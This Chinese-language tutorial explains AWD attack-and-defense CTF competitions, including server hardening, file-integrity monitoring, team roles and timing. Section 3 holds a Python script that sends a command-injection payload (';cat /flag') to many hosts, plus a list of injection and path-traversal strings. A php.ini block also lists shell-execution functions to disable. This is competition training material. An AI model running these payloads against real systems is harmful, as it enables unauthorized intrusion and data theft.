1. AWD竞赛模式深度解析
AWD(Attack With Defense)是CTF竞赛中最具对抗性和实战性的赛制模式,与传统的解题赛(Jeopardy)相比,它更贴近真实网络安全攻防场景。参赛队伍需要同时具备攻击和防御能力,在维护自身服务安全的同时,攻击其他队伍的服务获取flag。
1.1 AWD赛制核心规则
典型AWD比赛包含以下核心要素:
- 每支队伍分配相同环境(通常为Web应用或网络服务)
- 初始环境存在预设漏洞(常见如命令注入、文件上传、反序列化等)
- 参赛队伍需要:
- 防御:修复自身服务漏洞防止被攻击
- 攻击:利用漏洞攻击其他队伍服务获取flag
- 提交flag获取积分(通常每3-5分钟一轮)
- 最终排名依据:
- 防御成功次数(服务未被攻破)
- 攻击成功次数(获取有效flag数量)
- 服务可用性(正常响应检查请求)
关键提示:比赛中通常禁止DoS攻击,重点考察漏洞利用的精确定位和快速修复能力。
1.2 典型AWD环境拓扑
code复制[队伍A] ←→ [比赛网络] ←→ [裁判机]
[队伍B] ↑
[队伍C] [flag提交接口]
每支队伍的环境通常包含:
- Web服务器(Apache/Nginx)
- 应用服务(PHP/Java/Python等)
- 数据库(MySQL/Redis等)
- 文件存储系统
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 防御体系构建实战
2.1 初始环境安全加固
步骤1:服务指纹收集
bash复制# 快速扫描开放端口
nmap -sS -T4 -p- 127.0.0.1
# Web目录结构探测
dirsearch -u http://localhost -e php,js,html
步骤2:关键配置文件加固
- PHP环境(php.ini):
ini复制disable_functions = exec,passthru,shell_exec,system,proc_open,popen open_basedir = /var/www/html allow_url_include = Off - MySQL加固:
sql复制DELETE FROM mysql.user WHERE User=''; REVOKE ALL PRIVILEGES ON *.* FROM 'webuser'@'%';
步骤3:文件权限控制
bash复制# 关键目录只读
chmod -R 755 /var/www/html/uploads
chattr +i /var/www/html/config.php
# 日志目录隔离
mkdir /var/log/webapp
chown www-data:www-data /var/log/webapp
2.2 实时监控系统搭建
基础监控脚本(Python示例):
python复制import hashlib
import os
import time
def file_monitor(path):
baseline = {}
for root, _, files in os.walk(path):
for f in files:
fullpath = os.path.join(root, f)
with open(fullpath, 'rb') as fd:
baseline[fullpath] = hashlib.md5(fd.read()).hexdigest()
while True:
for path, checksum in baseline.items():
try:
with open(path, 'rb') as fd:
current = hashlib.md5(fd.read()).hexdigest()
if current != checksum:
print(f"[!] 文件篡改警报: {path}")
# 自动恢复逻辑...
except:
print(f"[!] 文件异常访问: {path}")
time.sleep(10)
关键监控点:
- /etc/passwd 变化
- /tmp 目录异常文件
- Web目录新增.php/.jsp文件
- 异常进程(如反向shell)
3. 攻击战术体系构建
3.1 漏洞快速定位技巧
Web应用常见漏洞检查表:
| 漏洞类型 | 检测方法 | 利用工具 |
|---|---|---|
| 命令注入 | 参数拼接;id、` |
ls`等 |
| 文件上传 | 修改Content-Type尝试上传webshell | 蚁剑/冰蝎 |
| SQL注入 | 参数添加'观察报错 |
sqlmap -r req.txt |
| 反序列化 | 查找serialize()/unserialize()调用 | ysoserial |
| XXE | 测试XML实体注入 | XXEinjector |
3.2 自动化攻击脚本开发
批量获取flag脚本示例:
python复制import requests
import re
TARGETS = ['team1:8080', 'team2:8080']
VULN_PATH = '/api/user?id=1;cat /flag'
for target in TARGETS:
try:
r = requests.get(f'http://{target}{VULN_PATH}', timeout=3)
flag = re.search(r'flag\{.+\}', r.text)
if flag:
print(f"[+] {target} 漏洞存在,flag: {flag.group(0)}")
# 自动提交flag逻辑...
except Exception as e:
print(f"[-] {target} 攻击失败: {str(e)}")
攻击工具链配置:
- 准备常用payload字典:
- 命令注入:
;id,||ls,$(whoami) - 路径遍历:
../../../../etc/passwd
- 命令注入:
- 配置Burp Suite:
- 设置Match and Replace规则自动添加攻击头
- 使用Intruder模块进行批量测试
4. 比赛实战经验与策略
4.1 团队分工建议
典型3人团队分工方案:
| 角色 | 职责 | 必备技能 |
|---|---|---|
| 防御专家 | 服务加固、漏洞修复、监控维护 | Linux系统、WAF规则编写 |
| 攻击手 | 漏洞挖掘、payload开发、拿旗 | 漏洞利用、Python编程 |
| 自由人 | 情报收集、自动化脚本开发 | 全栈能力、快速学习 |
4.2 时间管理策略
比赛阶段时间分配建议:
| 阶段 | 时间占比 | 重点工作 |
|---|---|---|
| 初始30分钟 | 30% | 环境熟悉、基础加固、漏洞定位 |
| 中期攻防 | 50% | 自动化攻击、防御优化、分数维持 |
| 最后冲刺 | 20% | 重点攻击弱队、防御最终检查 |
血泪教训:切勿在初期过度投入攻击而忽视防御,很多队伍因服务被批量攻破而提前出局。
5. 赛后复盘与提升
5.1 漏洞模式分析
通过分析历年AWD比赛漏洞,出现频率最高的TOP5:
- 未过滤的文件上传(85%)
- 命令注入(72%)
- 弱密码/默认凭证(68%)
- 反序列化漏洞(55%)
- 信息泄露(45%)
5.2 训练建议
日常训练方案:
-
搭建漏洞环境:
bash复制# 使用Vulhub快速搭建练习环境 git clone https://github.com/vulhub/vulhub.git cd vulhub/weblogic/CVE-2018-2894 docker-compose up -d -
参加线上模拟赛:
- 全国大学生信息安全竞赛
- XCTF联赛
- 各大高校内部赛
-
工具链打磨:
- 定制自己的Python攻击脚本库
- 维护常用payload字典
- 开发自动化监控告警系统
在实际比赛中,我们团队曾遇到一个典型场景:某次比赛初始环境存在Fastjson反序列化漏洞,但常规利用方式被WAF拦截。通过分析流量特征,我们发现裁判机检查的是User-Agent头,于是修改攻击脚本的请求头顺序,在Content-Type之后插入恶意payload,成功绕过防御拿到flag。这种细节突破能力往往需要在实战中不断积累经验。
